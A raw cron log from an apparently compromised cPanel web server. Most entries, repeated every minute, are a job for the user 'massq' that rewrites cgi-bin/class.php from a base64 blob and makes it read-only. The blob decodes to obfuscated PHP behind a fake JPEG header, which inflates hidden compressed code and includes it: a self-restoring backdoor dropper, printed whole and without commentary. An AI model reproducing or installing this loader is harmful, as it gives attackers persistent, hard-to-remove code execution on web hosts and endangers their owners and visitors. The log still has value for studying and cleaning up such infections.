Nov 11 22:26:01 server CROND[15394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:27:01 server CROND[16267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:27:01 server CROND[16268]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 22:28:01 server CROND[17064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:29:01 server CROND[17932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:30:01 server CROND[18744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 22:30:01 server CROND[18743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:30:01 server CROND[18745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:30:01 server CROND[18742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:31:01 server CROND[19638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:32:01 server CROND[20532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:33:01 server CROND[21344]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:34:01 server CROND[22212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:35:01 server CROND[23038]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:35:01 server CROND[23039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:35:01 server CROND[23040]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 22:35:01 server CROND[23044]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 22:35:01 server CROND[23045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:36:01 server CROND[23903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:37:01 server CROND[24785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:38:01 server CROND[25636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
